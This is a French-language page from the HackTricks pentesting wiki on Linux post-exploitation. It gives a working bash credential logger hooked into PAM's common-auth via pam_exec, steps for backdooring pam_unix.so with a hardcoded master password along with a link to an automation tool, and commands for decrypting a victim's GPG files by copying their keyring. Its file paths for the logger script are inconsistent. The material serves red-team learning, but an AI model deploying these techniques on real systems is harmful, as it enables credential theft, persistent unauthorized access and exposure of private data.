Post-exploitation sous Linux

Reading time: 5 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Sniffing des mots de passe de connexion avec PAM

Configurons un module PAM pour enregistrer chaque mot de passe utilisé par les utilisateurs lors de la connexion. Si vous ne savez pas ce qu'est PAM, consultez :

PAM - Pluggable Authentication Modules

Pour plus de détails, consultez l'article original. Ceci n'est qu'un résumé :

Présentation de la technique : Pluggable Authentication Modules (PAM) offrent une flexibilité dans la gestion de l'authentification sur les systÚmes Unix. Ils peuvent renforcer la sécurité en personnalisant les processus de connexion, mais présentent aussi des risques s'ils sont mal utilisés. Ce résumé décrit une technique pour capturer des identifiants de connexion en utilisant PAM, ainsi que des stratégies d'atténuation.

Capture des identifiants :

  • Un script bash nommĂ© toomanysecrets.sh est créé pour enregistrer les tentatives de connexion, capturant la date, le nom d'utilisateur ($PAM_USER), le mot de passe (via stdin) et l'IP de l'hĂŽte distant ($PAM_RHOST) dans /var/log/toomanysecrets.log.
  • Le script est rendu exĂ©cutable et intĂ©grĂ© Ă  la configuration PAM (common-auth) en utilisant le module pam_exec.so avec des options pour s'exĂ©cuter silencieusement et exposer le token d'authentification au script.
  • Cette approche montre comment un hĂŽte Linux compromis peut ĂȘtre exploitĂ© pour enregistrer discrĂštement des identifiants.
bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

Pour plus de détails, consultez l'article original. Ceci n'est qu'un résumé :

Le Pluggable Authentication Module (PAM) est un systĂšme utilisĂ© sous Linux pour l'authentification des utilisateurs. Il fonctionne sur trois concepts principaux : nom d'utilisateur, mot de passe, et service. Les fichiers de configuration pour chaque service se trouvent dans le rĂ©pertoire /etc/pam.d/, oĂč des bibliothĂšques partagĂ©es gĂšrent l'authentification.

Objectif : Modifier PAM pour permettre l'authentification avec un mot de passe spécifique, contournant le mot de passe réel de l'utilisateur. Cela vise en particulier la bibliothÚque partagée pam_unix.so utilisée par le fichier common-auth, qui est incluse par presque tous les services pour la vérification des mots de passe.

Steps for Modifying pam_unix.so:

  1. Locate the Authentication Directive in the common-auth file:
  • La ligne responsable de vĂ©rifier le mot de passe d'un utilisateur appelle pam_unix.so.
  1. Modify Source Code:
  • Ajoutez une instruction conditionnelle dans le fichier source pam_unix_auth.c qui accorde l'accĂšs si un mot de passe prĂ©dĂ©fini est utilisĂ© ; sinon, le processus d'authentification habituel est poursuivi.
  1. Recompile and Replace the modified pam_unix.so library in the appropriate directory.
  2. Testing:
  • L'accĂšs est accordĂ© sur divers services (login, ssh, sudo, su, screensaver) avec le mot de passe prĂ©dĂ©fini, tandis que les processus d'authentification normaux restent inchangĂ©s.

tip

Vous pouvez automatiser ce processus avec https://github.com/zephrax/linux-pam-backdoor

Déchiffrement de GPG loot via homedir relocation

Si vous trouvez un fichier chiffrĂ© .gpg et le dossier ~/.gnupg d’un utilisateur (pubring, private-keys, trustdb) mais que vous ne pouvez pas dĂ©chiffrer Ă  cause des permissions/verrous du homedir GnuPG, copiez le keyring dans un emplacement accessible en Ă©criture et utilisez-le comme GPG home.

Erreurs typiques que vous verrez sans cela : "unsafe ownership on homedir", "failed to create temporary file", ou "decryption failed: No secret key" (parce que GPG ne peut pas lire/écrire le homedir original).

Flux de travail :

bash
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg

Si le matériel de la clé secrÚte est présent dans private-keys-v1.d, GPG déverrouillera et déchiffrera sans demander de passphrase (ou il demandera si la clé est protégée).

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks